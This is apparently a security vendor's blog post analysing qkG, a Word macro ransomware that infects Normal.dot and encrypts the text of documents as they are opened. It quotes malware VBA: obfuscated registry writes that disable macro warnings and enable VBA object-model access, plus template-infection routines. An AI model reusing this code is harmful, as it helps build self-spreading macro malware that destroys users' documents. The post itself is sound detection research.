qkG: Simple Malware, Tricky Ransomware

qkG: Simple Malware, Tricky Ransomware

By Oleg Boyarchuk and Stefano Ortolani


When ransomware behavior is clearly exhibited, it is relatively easy for a sandbox or a personal A/V to assert detection; after all, in its simplest form, ransomware malware must at least: (1) search for files to be encrypted, and (2) overwrite those files with their encrypted representation. Lastline Labs’ Alexander Sevtsov covered a deep dive on ransomware behavior not so long ago in Ransomware: Too Overt to Hide. Nevertheless, when it comes to detecting ransomware targeting specific files, things might get a tad more complicated. This is the case of qkG, a malware (sha1=a9174fec5d81977eee9de2658a92fa9e4de76dd4) designed to infect documents and encrypt their content (our friends at TrendMicro did an excellent job outlining the encryption process and uncovering the encryption key in this report).

How it Works

Documents infected by qkG come with an embedded VBA script that gets executed when the document is opened (note that macros must be manually enabled for the malicious code to execute). The VBA includes the following ransom note (which, incidentally, is unique and thus a good candidate for a YARA signature):
Signature = "I'm QkG@PTM17! by TNA@MHT-TT2"
sInfo = "Send $300 to BTC Address: 14zA1NdTgtesLWZxtysLQQtsuKzjFbpydg" & vbCrLf & "Contact Email: mht-tt2@protonmail.com"

qkG infects the Normal.dot template file, resulting in any other document opened by the user to become infected. Obviously, in order to avoid suspicion, qkG immediately tries to lower the Microsoft Office security settings in order to both access the VBA object model and enable macros permanently:
System.PrivateProfileString("", "HKEY_CUR" + "RENT_USER\Sof" + "tware\Micros" + "oft\Off" + "ice\" & Ver & "\Wo" + "rd\Secu" + "rity", "Acces" + "sVBOM") = 1
System.PrivateProfileString("", "HKEY_CUR" + "RENT_USER\Sof" + "tware\Micros" + "oft\Off" + "ice\" & Ver & "\Wo" + "rd\Secu" + "rity", "VBAW" + "arnings") = 1

This is done via the System.PrivateProfileString property, which has the interesting feature of writing REG_SZ values rather than REG_DWORD. Unfortunately, a fact that the malware authors must have overlooked, Microsoft Word is not able to read REG_SZ values. This means that opening an infected document will always require the following two conditions to be met, regardless of what the code actually tried to achieve:

  1. The VBA object model must have been manually enabled by the user:
  2. Macros must be enabled every single time a document is opened.

Note that even if the malware fails to automatically enable macros, the Lastline sandbox still detects this attempt and reports it as “Lowering macro security” with a high score. If condition (1) is met, qkG infects Normal.dot with its own code:
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If NTLines > 0 Then NT.CodeModule.DeleteLines 1, NTLines
NT.Name = "qkG"
NT.CodeModule.AddFromString ("Private Sub Document_Close()")
NT.CodeModule.InsertLines 2, AD.CodeModule.Lines(2, ADLines - 1)

The code inside Normal.dot is then used to infect any other document the user might open afterwards:
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
If ADLines > 0 Then AD.CodeModule.DeleteLines 1, ADLines
AD.Name = "qkG"
AD.CodeModule.AddFromString ("Private Sub Document_Open()")
AD.CodeModule.InsertLines 2, NT.CodeModule.Lines(2, NTLines - 1)

Generally speaking, modifying macro code via CodeModule.DeleteLines and CodeModule.InsertLines is a suspicious activity per-se, and it is in fact flagged as such by the Lastline static document analyzer. As we can see from the code itself, the actual infection happens when the document is closed (Document_Close()), showing how important is for a sandbox to faithfully replicate the activity of a real user.

A Peculiar Behavior

Every time a document is either opened or closed, the malware encrypts the whole text and prepends the following ransom note:

This is quite unique, and it deviates from the ransomware behavior we usually see in malware such as WannaCry or BadRabbit where all files matching a set of extensions get encrypted. In this case, encryption, and thus the actual ransomware behavior, is tied to what the user is doing, and in particular to what documents he/she opens. Any technique tailored to detect ransomware in the general case would just fail here.


The malware does not enumerate or modify other files; it only encrypts a file when the user opens it by replacing its content. Because of all these reasons, automatically detecting this behavior as ransomware can be challenging if only generic behavioral techniques are used. A much more effective approach is instead a combination of static and dynamic analysis aimed at detecting as many behaviors as possible, hunting for those even a bit suspicious like modifying the macro code or altering the template file.

Oleg Boyarchuk

Oleg Boyarchuk

Oleg Boyarchuk is a Malware Reverse Engineer at Lastline with wide range of experience. Throughout his career he was mainly focused on Windows Kernel Internals: rootkits research, writing drivers for various protection software such as Avira Antivirus, finding vulnerabilities in Antiviruses and personal firewalls.
Oleg Boyarchuk

Latest posts by Oleg Boyarchuk (see all)

Stefano Ortolani

Stefano Ortolani

Stefano Ortolani is Director of Threat Intelligence at Lastline. Prior to that he was part of the research team in Kaspersky Lab in charge of fostering operations with CERTs, governments, universities, and law enforcement agencies. Before that he earned his Ph.D. in Computer Science from the VU University Amsterdam.
Stefano Ortolani